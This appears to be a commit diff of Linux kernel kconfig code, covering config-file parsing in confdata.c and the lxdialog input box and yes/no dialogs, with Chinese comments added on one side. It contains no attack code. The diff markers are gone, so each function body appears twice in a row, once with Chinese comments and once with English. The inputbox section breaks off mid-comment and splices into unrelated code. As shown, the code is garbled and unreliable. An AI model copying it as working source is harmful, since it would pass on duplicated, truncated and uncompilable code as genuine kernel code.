sym->flags |= def_flags;
break;
}
// 跌落至下一个case
case S_BOOLEAN:
if (p[0] == 'y') {
sym->def[def].tri = yes;
sym->flags |= def_flags;
break;
}
if (p[0] == 'n') {
sym->def[def].tri = no;
sym->flags |= def_flags;
break;
}
if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s",
p, sym->name);
return 1;
case S_OTHER:
if (*p != '"') {
for (p2 = p; *p2 && !isspace(*p2); p2++)
;
sym->type = S_STRING;
goto done;
}
// 跌落至下一个case
case S_STRING:
if (*p++ != '"')
break;
for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) {
if (*p2 == '"') {
*p2 = 0;
break;
}
memmove(p2, p2 + 1, strlen(p2));
}
if (!p2) {
if (def != S_DEF_AUTO)
conf_warning("invalid string found");
return 1;
}
// 跌落至下一个case
case S_INT:
case S_HEX:
done:
if (sym_string_valid(sym, p)) {
sym->def[def].val = strdup(p);
sym->flags |= def_flags;
} else {
if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s",
p, sym->name);
return 1;
}
break;
default:
;
}
return 0;
char *p2;
switch (sym->type) {
case S_TRISTATE:
if (p[0] == 'm') {
sym->def[def].tri = mod;
sym->flags |= def_flags;
break;
}
/* fall through */
case S_BOOLEAN:
if (p[0] == 'y') {
sym->def[def].tri = yes;
sym->flags |= def_flags;
break;
}
if (p[0] == 'n') {
sym->def[def].tri = no;
sym->flags |= def_flags;
break;
}
if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s",
p, sym->name);
return 1;
case S_OTHER:
if (*p != '"') {
for (p2 = p; *p2 && !isspace(*p2); p2++)
;
sym->type = S_STRING;
goto done;
}
/* fall through */
case S_STRING:
if (*p++ != '"')
break;
for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) {
if (*p2 == '"') {
*p2 = 0;
break;
}
memmove(p2, p2 + 1, strlen(p2));
}
if (!p2) {
if (def != S_DEF_AUTO)
conf_warning("invalid string found");
return 1;
}
/* fall through */
case S_INT:
case S_HEX:
done:
if (sym_string_valid(sym, p)) {
sym->def[def].val = strdup(p);
sym->flags |= def_flags;
} else {
if (def != S_DEF_AUTO)
conf_warning("symbol value '%s' invalid for %s",
p, sym->name);
return 1;
}
break;
default:
;
}
return 0;
}
// 增加字节到行缓冲区
#define LINE_GROWTH 16
static int add_byte(int c, char **lineptr, size_t slen, size_t *n)
{
char *nline;
size_t new_size = slen + 1;
if (new_size > *n) {
new_size += LINE_GROWTH - 1;
new_size *= 2;
nline = realloc(*lineptr, new_size);
if (!nline)
return -1;
*lineptr = nline;
*n = new_size;
}
(*lineptr)[slen] = c;
return 0;
char *nline;
size_t new_size = slen + 1;
if (new_size > *n) {
new_size += LINE_GROWTH - 1;
new_size *= 2;
nline = realloc(*lineptr, new_size);
if (!nline)
return -1;
*lineptr = nline;
*n = new_size;
}
(*lineptr)[slen] = c;
return 0;
}
// 兼容getline函数
static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream)
{
char *line = *lineptr;
size_t slen = 0;
for (;;) {
int c = getc(stream);
switch (c) {
case '\n':
if (add_byte(c, &line, slen, n) < 0)
goto e_out;
slen++;
// 跌落至下一个case
case EOF:
if (add_byte('\0', &line, slen, n) < 0)
goto e_out;
*lineptr = line;
if (slen == 0)
return -1;
return slen;
default:
if (add_byte(c, &line, slen, n) < 0)
goto e_out;
slen++;
}
}
char *line = *lineptr;
size_t slen = 0;
for (;;) {
int c = getc(stream);
switch (c) {
case '\n':
if (add_byte(c, &line, slen, n) < 0)
goto e_out;
slen++;
/* fall through */
case EOF:
if (add_byte('\0', &line, slen, n) < 0)
goto e_out;
*lineptr = line;
if (slen == 0)
return -1;
return slen;
default:
if (add_byte(c, &line, slen, n) < 0)
goto e_out;
slen++;
}
}
e_out:
line[slen-1] = '\0';
*lineptr = line;
return -1;
line[slen-1] = '\0';
*lineptr = line;
return -1;
}
// 读取简单的配置文件
int conf_read_simple(const char *name, int def)
{
FILE *in = NULL;
char *line = NULL;
size_t line_asize = 0;
char *p, *p2;
struct symbol *sym;
int i, def_flags;
if (name) {
in = zconf_fopen(name);
} else {
struct property *prop;
name = conf_get_configname();
in = zconf_fopen(name);
if (in)
goto load;
sym_add_change_count(1);
if (!sym_defconfig_list) {
if (modules_sym)
sym_calc_value(modules_sym);
return 1;
}
for_all_defaults(sym_defconfig_list, prop) {
if (expr_calc_value(prop->visible.expr) == no ||
prop->expr->type != E_SYMBOL)
continue;
name = conf_expand_value(prop->expr->left.sym->name);
in = zconf_fopen(name);
if (in) {
conf_message(_("using defaults found in %s"),
name);
goto load;
}
}
}
if (!in)
return 1;
FILE *in = NULL;
char *line = NULL;
size_t line_asize = 0;
char *p, *p2;
struct symbol *sym;
int i, def_flags;
if (name) {
in = zconf_fopen(name);
} else {
struct property *prop;
name = conf_get_configname();
in = zconf_fopen(name);
if (in)
goto load;
sym_add_change_count(1);
if (!sym_defconfig_list) {
if (modules_sym)
sym_calc_value(modules_sym);
return 1;
}
for_all_defaults(sym_defconfig_list, prop) {
if (expr_calc_value(prop->visible.expr) == no ||
prop->expr->type != E_SYMBOL)
continue;
name = conf_expand_value(prop->expr->left.sym->name);
in = zconf_fopen(name);
if (in) {
conf_message(_("using defaults found in %s"),
name);
goto load;
}
}
}
if (!in)
return 1;
load:
conf_filename = name;
conf_lineno = 0;
conf_warnings = 0;
conf_unsaved = 0;
def_flags = SYMBOL_DEF << def;
for_all_symbols(i, sym) {
sym->flags |= SYMBOL_CHANGED;
sym->flags &= ~(def_flags|SYMBOL_VALID);
if (sym_is_choice(sym))
sym->flags |= def_flags;
switch (sym->type) {
case S_INT:
case S_HEX:
case S_STRING:
if (sym->def[def].val)
free(sym->def[def].val);
// 跌落至下一个case
default:
sym->def[def].val = NULL;
sym->def[def].tri = no;
}
}
while (compat_getline(&line, &line_asize, in) != -1) {
conf_lineno++;
sym = NULL;
if (line[0] == '#') {
if (memcmp(line + 2, CONFIG_, strlen(CONFIG_)))
continue;
p = strchr(line + 2 + strlen(CONFIG_), ' ');
if (!p)
continue;
*p++ = 0;
if (strncmp(p, "is not set", 10))
continue;
if (def == S_DEF_USER) {
sym = sym_find(line + 2 + strlen(CONFIG_));
if (!sym) {
sym_add_change_count(1);
goto setsym;
}
} else {
sym = sym_lookup(line + 2 + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN)
sym->type = S_BOOLEAN;
}
if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name);
}
switch (sym->type) {
case S_BOOLEAN:
case S_TRISTATE:
sym->def[def].tri = no;
sym->flags |= def_flags;
break;
default:
;
}
} else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) {
p = strchr(line + strlen(CONFIG_), '=');
if (!p)
continue;
*p++ = 0;
p2 = strchr(p, '\n');
if (p2) {
*p2-- = 0;
if (*p2 == '\r')
*p2 = 0;
}
if (def == S_DEF_USER) {
sym = sym_find(line + strlen(CONFIG_));
if (!sym) {
sym_add_change_count(1);
goto setsym;
}
} else {
sym = sym_lookup(line + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN)
sym->type = S_OTHER;
}
if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name);
}
if (conf_set_sym_val(sym, def, def_flags, p))
continue;
} else {
if (line[0] != '\r' && line[0] != '\n')
conf_warning("unexpected data");
continue;
}
conf_filename = name;
conf_lineno = 0;
conf_warnings = 0;
conf_unsaved = 0;
def_flags = SYMBOL_DEF << def;
for_all_symbols(i, sym) {
sym->flags |= SYMBOL_CHANGED;
sym->flags &= ~(def_flags|SYMBOL_VALID);
if (sym_is_choice(sym))
sym->flags |= def_flags;
switch (sym->type) {
case S_INT:
case S_HEX:
case S_STRING:
if (sym->def[def].val)
free(sym->def[def].val);
/* fall through */
default:
sym->def[def].val = NULL;
sym->def[def].tri = no;
}
}
while (compat_getline(&line, &line_asize, in) != -1) {
conf_lineno++;
sym = NULL;
if (line[0] == '#') {
if (memcmp(line + 2, CONFIG_, strlen(CONFIG_)))
continue;
p = strchr(line + 2 + strlen(CONFIG_), ' ');
if (!p)
continue;
*p++ = 0;
if (strncmp(p, "is not set", 10))
continue;
if (def == S_DEF_USER) {
sym = sym_find(line + 2 + strlen(CONFIG_));
if (!sym) {
sym_add_change_count(1);
goto setsym;
}
} else {
sym = sym_lookup(line + 2 + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN)
sym->type = S_BOOLEAN;
}
if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name);
}
switch (sym->type) {
case S_BOOLEAN:
case S_TRISTATE:
sym->def[def].tri = no;
sym->flags |= def_flags;
break;
default:
;
}
} else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) {
p = strchr(line + strlen(CONFIG_), '=');
if (!p)
continue;
*p++ = 0;
p2 = strchr(p, '\n');
if (p2) {
*p2-- = 0;
if (*p2 == '\r')
*p2 = 0;
}
if (def == S_DEF_USER) {
sym = sym_find(line + strlen(CONFIG_));
if (!sym) {
sym_add_change_count(1);
goto setsym;
}
} else {
sym = sym_lookup(line + strlen(CONFIG_), 0);
if (sym->type == S_UNKNOWN)
sym->type = S_OTHER;
}
if (sym->flags & def_flags) {
conf_warning("override: reassigning to symbol %s", sym->name);
}
if (conf_set_sym_val(sym, def, def_flags, p))
continue;
} else {
if (line[0] != '\r' && line[0] != '\n')
conf_warning("unexpected data");
continue;
}
setsym:
if (sym && sym_is_choice_value(sym)) {
struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym));
switch (sym->def[def].tri) {
case no:
break;
case mod:
if (cs->def[def].tri == yes) {
conf_warning("%s creates inconsistent choice state", sym->name);
cs->flags &= ~def_flags;
}
break;
case yes:
if (cs->def[def].tri != no)
conf_warning("override: %s changes choice state", sym->name);
cs->def[def].val = sym;
break;
}
cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri);
}
}
free(line);
fclose(in);
if (modules_sym)
sym_calc_value(modules_sym);
return 0;
if (sym && sym_is_choice_value(sym)) {
struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym));
switch (sym->def[def].tri) {
case no:
break;
case mod:
if (cs->def[def].tri == yes) {
conf_warning("%s creates inconsistent choice state", sym->name);
cs->flags &= ~def_flags;
}
break;
case yes:
if (cs->def[def].tri != no)
conf_warning("override: %s changes choice state", sym->name);
cs->def[def].val = sym;
break;
}
cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri);
}
}
free(line);
fclose(in);
if (modules_sym)
sym_calc_value(modules_sym);
return 0;
}
// 读取配置文件
int conf_read(const char *name)
{
struct symbol *sym;
int i;
sym_set_change_count(0);
if (conf_read_simple(name, S_DEF_USER))
return 1;
for_all_symbols(i, sym) {
sym_calc_value(sym);
if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO))
continue;
if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) {
// 检查计算值是否与保存值一致
switch (sym->type) {
case S_BOOLEAN:
case S_TRISTATE:
if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym))
break;
if (!sym_is_choice(sym))
continue;
// 跌落至下一个case
default:
if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val))
continue;
break;
}
} else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE))
// 没有先前值且未保存
continue;
conf_unsaved++;
// 在详细模式下可能打印值...
}
for_all_symbols(i, sym) {
if (sym_has_value(sym) && !sym_is_choice_value(sym)) {
// 重置生成值的值,以便它们在出现时会显示为新值,
// 但如果Kconfig和保存的配置不一致则不起作用。
if (sym->visible == no && !conf_unsaved)
sym->flags &= ~SYMBOL_DEF_USER;
switch (sym->type) {
case S_STRING:
case S_INT:
case S_HEX:
// 如果字符串值超出范围,则重置字符串值
if (sym_string_within_range(sym, sym->def[S_DEF_USER].val))
break;
sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER);
conf_unsaved++;
break;
default:
break;
}
}
}
sym_add_change_count(conf_warnings || conf_unsaved);
return 0;
struct symbol *sym;
int i;
sym_set_change_count(0);
if (conf_read_simple(name, S_DEF_USER))
return 1;
for_all_symbols(i, sym) {
sym_calc_value(sym);
if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO))
continue;
if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) {
/* check that calculated value agrees with saved value */
switch (sym->type) {
case S_BOOLEAN:
case S_TRISTATE:
if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym))
break;
if (!sym_is_choice(sym))
continue;
/* fall through */
default:
if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val))
continue;
break;
}
} else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE))
/* no previous value and not saved */
continue;
conf_unsaved++;
/* maybe print value in verbose mode... */
}
for_all_symbols(i, sym) {
if (sym_has_value(sym) && !sym_is_choice_value(sym)) {
/* Reset values of generates values, so they'll appear
* as new, if they should become visible, but that
* doesn't quite work if the Kconfig and the saved
* configuration disagree.
*/
if (sym->visible == no && !conf_unsaved)
sym->flags &= ~SYMBOL_DEF_USER;
switch (sym->type) {
case S_STRING:
case S_INT:
case S_HEX:
/* Reset a string value if it's out of range */
if (sym_string_within_range(sym, sym->def[S_DEF_USER].val))
break;
sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER);
conf_unsaved++;
break;
default:
break;
}
}
}
sym_add_change_count(conf_warnings || conf_unsaved);
return 0;
}
/*

File diff suppressed because it is too large Load Diff

@ -1,286 +1,301 @@
/*
* inputbox.c --
* inputbox.c -- implements the input box
*
* Savio Lam (lam836@cs.cuhk.hk)
* Linux William Roadcap (roadcap@cfw.com)
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
*
* GNU / 2
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* GNU
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* GNU Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "dialog.h"
// 包含对话框相关的头文件
#include "dialog.h"
char dialog_input_result[MAX_LEN + 1];
// 定义一个字符数组用于存储输入框的结果
char dialog_input_result[MAX_LEN + 1];
/*
*
* Print the termination buttons
*/
static void print_buttons(WINDOW * dialog, int height, int width, int selected)
{
int x = width / 2 - 11;
// 计算按钮的起始 x 坐标
int y = height - 2;
// 计算按钮的起始 y 坐标
int x = width / 2 - 11;
int y = height - 2;
print_button(dialog, gettext(" Ok "), y, x, selected == 0);
// 打印 "Ok" 按钮
print_button(dialog, gettext(" Help "), y, x + 14, selected == 1);
// 打印 "Help" 按钮
print_button(dialog, gettext(" Ok "), y, x, selected == 0);
print_button(dialog, gettext(" Help "), y, x + 14, selected == 1);
wmove(dialog, y, x + 1 + 14 * selected);
// 移动光标到选中的按钮位置
wrefresh(dialog);
// 刷新对话框窗口
wmove(dialog, y, x + 1 + 14 * selected);
wrefresh(dialog);
}
/*
*
* Display a dialog box for inputing a string
*/
int dialog_inputbox(const char *title, const char *prompt, int height, int width,
const char *init)
{
int i, x, y, box_y, box_x, box_width;
// 定义一些变量用于计算和存储位置和大小
int input_x = 0, key = 0, button = -1;
// 定义输入框的 x 坐标、按键和按钮状态变量
int show_x, len, pos;
// 定义显示 x 坐标、字符串长度和光标位置变量
char *instr = dialog_input_result;
// 指向输入结果的指针
WINDOW *dialog;
// 定义对话框窗口指针
int i, x, y, box_y, box_x, box_width;
int input_x = 0, key = 0, button = -1;
int show_x, len, pos;
char *instr = dialog_input_result;
WINDOW *dialog;
if (!init)
instr[0] = '\0';
// 如果没有初始值,将输入结果置为空字符串
instr[0] = '\0';
else
strcpy(instr, init);
// 否则,将初始值复制到输入结果中
strcpy(instr, init);
do_resize:
// 标签,用于处理窗口大小变化
if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN))
// 如果屏幕高度不足以显示对话框
return -ERRDISPLAYTOOSMALL;
// 返回错误代码
if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN))
// 如果屏幕宽度不足以显示对话框
return -ERRDISPLAYTOOSMALL;
// 返回错误代码
do_resize:
if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN))
return -ERRDISPLAYTOOSMALL;
if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN))
return -ERRDISPLAYTOOSMALL;
/* 在屏幕上居中对话框 */
x = (getmaxx(stdscr) - width) / 2;
// 计算对话框的 x 坐标
y = (getmaxy(stdscr) - height) / 2;
// 计算对话框的 y 坐标
/* center dialog box on screen */
x = (getmaxx(stdscr) - width) / 2;
y = (getmaxy(stdscr) - height) / 2;
draw_shadow(stdscr, y, x, height, width);
// 绘制对话框阴影
draw_shadow(stdscr, y, x, height, width);
dialog = newwin(height, width, y, x);
// 创建对话框窗口
keypad(dialog, TRUE);
// 启用对话框窗口的键盘功能
dialog = newwin(height, width, y, x);
keypad(dialog, TRUE);
draw_box(dialog, 0, 0, height, width,
// 绘制对话框边框
draw_box(dialog, 0, 0, height, width,
dlg.dialog.atr, dlg.border.atr);
wattrset(dialog, dlg.border.atr);
// 设置对话框边框属性
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
// 绘制左下角边框字符
wattrset(dialog, dlg.border.atr);
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
for (i = 0; i < width - 2; i++)
waddch(dialog, ACS_HLINE);
// 绘制水平边框线
wattrset(dialog, dlg.dialog.atr);
// 设置对话框属性
waddch(dialog, ACS_RTEE);
// 绘制右下角边框字符
waddch(dialog, ACS_HLINE);
wattrset(dialog, dlg.dialog.atr);
waddch(dialog, ACS_RTEE);
print_title(dialog, title, width);
// 打印对话框标题
wattrset(dialog, dlg.dialog.atr);
// 设置对话框属性
print_autowrap(dialog, prompt, width - 2, 1, 3);
// 打印提示信息
wattrset(dialog, dlg.dialog.atr);
print_autowrap(dialog, prompt, width - 2, 1, 3);
/* 绘制输入框 */
box_width = width - 6;
// 计算输入框宽度
getyx(dialog, y, x);
// 获取当前光标位置
box_y = y + 2;
// 计算输入框的 y 坐标
box_x = (width - box_width) / 2;
// 计算输入框的 x 坐标
draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2,
// 绘制输入框边框
/* Draw the input field box */
box_width = width - 6;
getyx(dialog, y, x);
box_y = y + 2;
box_x = (width - box_width) / 2;
draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2,
dlg.dialog.atr, dlg.border.atr);
print_buttons(dialog, height, width, 0);
// 打印按钮
print_buttons(dialog, height, width, 0);
/* 设置初始值 */
wmove(dialog, box_y, box_x);
// 移动光标到输入框起始位置
wattrset(dialog, dlg.inputbox.atr);
// 设置输入框属性
/* Set up the initial value */
wmove(dialog, box_y, box_x);
wattrset(dialog, dlg.inputbox.atr);
len = strlen(instr);
// 获取输入字符串的长度
pos = len;
// 设置光标位置为字符串长度
len = strlen(instr);
pos = len;
if (len >= box_width) {
// 如果字符串长度超过输入框宽度
show_x = len - box_width + 1;
// 计算显示起始 x 坐标
input_x = box_width - 1;
// 设置输入框的 x 坐标
for (i = 0; i < box_width - 1; i++)
// 在输入框中显示字符串
if (len >= box_width) {
show_x = len - box_width + 1;
input_x = box_width - 1;
for (i = 0; i < box_width - 1; i++)
waddch(dialog, instr[show_x + i]);
} else {
show_x = 0;
// 设置显示起始 x 坐标为 0
input_x = len;
// 设置输入框的 x 坐标为字符串长度
waddstr(dialog, instr);
// 在输入框中显示字符串
show_x = 0;
input_x = len;
waddstr(dialog, instr);
}
wmove(dialog, box_y, box_x + input_x);
// 移动光标到字符串末尾
wmove(dialog, box_y, box_x + input_x);
wrefresh(dialog);
// 刷新对话框窗口
wrefresh(dialog);
while (key != KEY_ESC) {
// 循环直到按下 ESC 键
key = wgetch(dialog);
// 获取按键
key = wgetch(dialog);
if (button == -1) { /* 输入框被选中 */
if (button == -1) { /* Input box selected */
switch (key) {
case TAB:
// 制表符键
case KEY_UP:
// 向上箭头键
case KEY_DOWN:
// 向下箭头键
break;
// 忽略这些按键
case KEY_BACKSPACE:
// 退格键
case 127:
// ASCII 退格键
if (pos) {
// 如果光标位置不为 0
wattrset(dialog, dlg.inputbox.atr);
// 设置输入框属性
if (input_x == 0) {
// 如果输入框的 x 坐标为 0
show_x--;
// 显示起始 x 坐标减 1
case TAB:
case KEY_UP:
case KEY_DOWN:
break;
case KEY_BACKSPACE:
case 127:
if (pos) {
wattrset(dialog, dlg.inputbox.atr);
if (input_x == 0) {
show_x--;
} else
input_x--;
// 输入框的 x 坐标减 1
input_x--;
if (pos < len) {
// 如果光标位置小于字符串长度
for (i = pos - 1; i < len; i++)
// 删除字符
if (pos < len) {
for (i = pos - 1; i < len; i++) {
instr[i] = instr[i+1];
}
}
pos--;
// 光标位置减 1
len--;
// 字符串长度减 1
pos--;
len--;
instr[len] = '\0';
// 字符串末尾添加空字符
wmove(dialog, box_y, box_x);
// 移动光标到输入框起始位置
for (i = 0; i < box_width; i++) {
// 在输入框中显示字符串
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
// 如果字符串结束,添加空格
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
// 移动光标到字符串末尾
wrefresh(dialog);
// 刷新对话框窗口
wmove(dialog, box_y, input_x + box_x);
wrefresh(dialog);
}
continue;
case KEY_LEFT:
if (pos > 0) {
if (input_x > 0) {
wmove(dialog, box_y, --input_x + box_x);
} else if (input_x == 0) {
show_x--;
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, box_x);
}
pos--;
}
continue;
case KEY_RIGHT:
if (pos < len) {
if (input_x < box_width - 1) {
wmove(dialog, box_y, ++input_x + box_x);
} else if (input_x == box_width - 1) {
show_x++;
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
}
pos++;
}
continue;
default:
if (key < 0x100 && isprint(key)) {
if (len < MAX_LEN) {
wattrset(dialog, dlg.inputbox.atr);
if (pos < len) {
for (i = len; i > pos; i--)
instr[i] = instr[i-1];
instr[pos] = key;
} else {
instr[len] = key;
}
pos++;
len++;
instr[len] = '\0';
if (input_x == box_width - 1) {
show_x++;
} else {
input_x++;
}
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
wrefresh(dialog);
} else
flash(); /* Alarm user about overflow */
continue;
}
continue;
// 继续循环
case KEY_LEFT:
// 向左箭头键
if (pos > 0) {
// 如果光标位置大于 0
if (input_x > 0) {
// 如果输入
print_buttons(dialog, height, width, 1); // 打印按钮,选中 "Help" 按钮
}
}
switch (key) {
case 'O':
case 'o':
delwin(dialog);
return 0;
case 'H':
case 'h':
delwin(dialog);
return 1;
case KEY_UP:
case KEY_LEFT:
switch (button) {
case -1:
button = 1; /* Indicates "Help" button is selected */
print_buttons(dialog, height, width, 1);
break;
case 0: // 如果 "Ok" 按钮被选中
button = -1; // 表示输入框被选中
case 0:
button = -1; /* Indicates input box is selected */
print_buttons(dialog, height, width, 0);
wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框
wrefresh(dialog); // 刷新对话框窗口
wmove(dialog, box_y, box_x + input_x);
wrefresh(dialog);
break;
case 1: // 如果 "Help" 按钮被选中
button = 0; // 表示 "Ok" 按钮被选中
case 1:
button = 0; /* Indicates "OK" button is selected */
print_buttons(dialog, height, width, 0);
break;
}
break;
case TAB: // 制表符键
case KEY_DOWN: // 向下箭头键
case KEY_RIGHT: // 向右箭头键
case TAB:
case KEY_DOWN:
case KEY_RIGHT:
switch (button) {
case -1: // 如果输入框被选中
button = 0; // 表示 "Ok" 按钮被选中
case -1:
button = 0; /* Indicates "OK" button is selected */
print_buttons(dialog, height, width, 0);
break;
case 0: // 如果 "Ok" 按钮被选中
button = 1; // 表示 "Help" 按钮被选中
case 0:
button = 1; /* Indicates "Help" button is selected */
print_buttons(dialog, height, width, 1);
break;
case 1: // 如果 "Help" 按钮被选中
button = -1; // 表示输入框被选中
case 1:
button = -1; /* Indicates input box is selected */
print_buttons(dialog, height, width, 0);
wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框
wrefresh(dialog); // 刷新对话框窗口
wmove(dialog, box_y, box_x + input_x);
wrefresh(dialog);
break;
}
break;
case ' ': // 空格键
case '\n': // 回车键
delwin(dialog); // 删除对话框窗口
return (button == -1 ? 0 : button); // 返回按钮状态
case 'X': // 'X' 键
case 'x': // 'x' 键
key = KEY_ESC; // 设置按键为 ESC 键
case ' ':
case '\n':
delwin(dialog);
return (button == -1 ? 0 : button);
case 'X':
case 'x':
key = KEY_ESC;
break;
case KEY_ESC: // ESC 键
key = on_key_esc(dialog); // 处理 ESC 键
case KEY_ESC:
key = on_key_esc(dialog);
break;
case KEY_RESIZE: // 窗口大小变化键
delwin(dialog); // 删除对话框窗口
on_key_resize(); // 处理窗口大小变化
goto do_resize; // 跳转到 do_resize 标签重新绘制对话框
case KEY_RESIZE:
delwin(dialog);
on_key_resize();
goto do_resize;
}
}
delwin(dialog); // 删除对话框窗口
return KEY_ESC; // 返回 ESC 键表示用户取消操作
}
delwin(dialog);
return KEY_ESC; /* ESC pressed */
}

File diff suppressed because it is too large Load Diff

@ -19,25 +19,21 @@
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "dialog.h" // 包含对话框库的头文件
#include "dialog.h"
/*
* Display termination buttons
*/
static void print_buttons(WINDOW * dialog, int height, int width, int selected)
{
int x = width / 2 - 10; // 计算 "Yes" 按钮的起始位置
int y = height - 2; // 计算按钮的垂直位置
int x = width / 2 - 10;
int y = height - 2;
print_button(dialog, gettext(" Yes "), y, x, selected == 0); // 打印 "Yes" 按钮
print_button(dialog, gettext(" No "), y, x + 13, selected == 1); // 打印 "No" 按钮
print_button(dialog, gettext(" Yes "), y, x, selected == 0);
print_button(dialog, gettext(" No "), y, x + 13, selected == 1);
wmove(dialog, y, x + 1 + 13 * selected); // 移动光标到选中的按钮
wrefresh(dialog); // 刷新窗口以显示更改
wmove(dialog, y, x + 1 + 13 * selected);
wrefresh(dialog);
}
/*
@ -45,74 +41,74 @@ static void print_buttons(WINDOW * dialog, int height, int width, int selected)
*/
int dialog_yesno(const char *title, const char *prompt, int height, int width)
{
int i, x, y, key = 0, button = 0; // 定义变量用于存储位置、按键和按钮状态
WINDOW *dialog; // 定义对话框窗口
int i, x, y, key = 0, button = 0;
WINDOW *dialog;
do_resize:
if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN))
return -ERRDISPLAYTOOSMALL; // 如果屏幕高度不足以显示对话框,返回错误
return -ERRDISPLAYTOOSMALL;
if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN))
return -ERRDISPLAYTOOSMALL; // 如果屏幕宽度不足以显示对话框,返回错误
return -ERRDISPLAYTOOSMALL;
/* center dialog box on screen */
x = (getmaxx(stdscr) - width) / 2; // 计算对话框的水平中心位置
y = (getmaxy(stdscr) - height) / 2; // 计算对话框的垂直中心位置
x = (getmaxx(stdscr) - width) / 2;
y = (getmaxy(stdscr) - height) / 2;
draw_shadow(stdscr, y, x, height, width); // 绘制对话框阴影
draw_shadow(stdscr, y, x, height, width);
dialog = newwin(height, width, y, x); // 创建对话框窗口
keypad(dialog, TRUE); // 启用键盘输入处理
dialog = newwin(height, width, y, x);
keypad(dialog, TRUE);
draw_box(dialog, 0, 0, height, width,
dlg.dialog.atr, dlg.border.atr); // 绘制对话框边框
wattrset(dialog, dlg.border.atr); // 设置边框属性
mvwaddch(dialog, height - 3, 0, ACS_LTEE); // 添加左下角字符
dlg.dialog.atr, dlg.border.atr);
wattrset(dialog, dlg.border.atr);
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
for (i = 0; i < width - 2; i++)
waddch(dialog, ACS_HLINE); // 添加水平线
wattrset(dialog, dlg.dialog.atr); // 设置对话框属性
waddch(dialog, ACS_RTEE); // 添加右下角字符
waddch(dialog, ACS_HLINE);
wattrset(dialog, dlg.dialog.atr);
waddch(dialog, ACS_RTEE);
print_title(dialog, title, width); // 打印标题
print_title(dialog, title, width);
wattrset(dialog, dlg.dialog.atr); // 设置对话框属性
print_autowrap(dialog, prompt, width - 2, 1, 3); // 打印提示信息
wattrset(dialog, dlg.dialog.atr);
print_autowrap(dialog, prompt, width - 2, 1, 3);
print_buttons(dialog, height, width, 0); // 打印底部按钮
print_buttons(dialog, height, width, 0);
while (key != KEY_ESC) {
key = wgetch(dialog); // 获取用户按键输入
key = wgetch(dialog);
switch (key) {
case 'Y':
case 'y':
delwin(dialog); // 删除对话框窗口
return 0; // 返回0表示 "Yes" 按钮被选中
delwin(dialog);
return 0;
case 'N':
case 'n':
delwin(dialog); // 删除对话框窗口
return 1; // 返回1表示 "No" 按钮被选中
delwin(dialog);
return 1;
case TAB:
